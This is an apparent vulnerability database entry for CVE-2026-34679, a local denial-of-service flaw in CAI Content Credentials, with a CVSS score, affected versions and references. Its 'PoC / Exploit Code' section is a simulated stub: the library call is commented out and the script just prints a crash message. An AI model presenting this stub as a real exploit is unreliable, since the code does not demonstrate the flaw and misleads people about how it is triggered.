CVE-2026-34679

Description

CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CAI Content Credentials <= 0.78.2

CAI Content Credentials <= 0.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import sys
# Mocking the vulnerable library import
# import cai_content_credentials

def generate_malicious_payload():
    """
    Generate a malformed payload designed to trigger
    the input validation flaw in CAI Content Credentials.
    """
    # Example: Creating a malformed JSON or binary structure
    # that causes a parsing crash.
    payload = "{\"malformed_data\": \"\x00\x01\x02\x03\x04\x05\"}"
    return payload

def exploit():
    payload = generate_malicious_payload()
    try:
        # In a real scenario, this would pass the payload to the vulnerable function
        # result = cai_content_credentials.process(payload)
        print(f"[+] Sending malicious payload: {payload}")
        print("[!] Application crashed (simulated)")
    except Exception as e:
        print(f"[-] Error during exploitation: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34679
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34679
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34679/
[4] VulDB https://vuldb.com/cve/CVE-2026-34679
[5] https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html

Raw JSON Data

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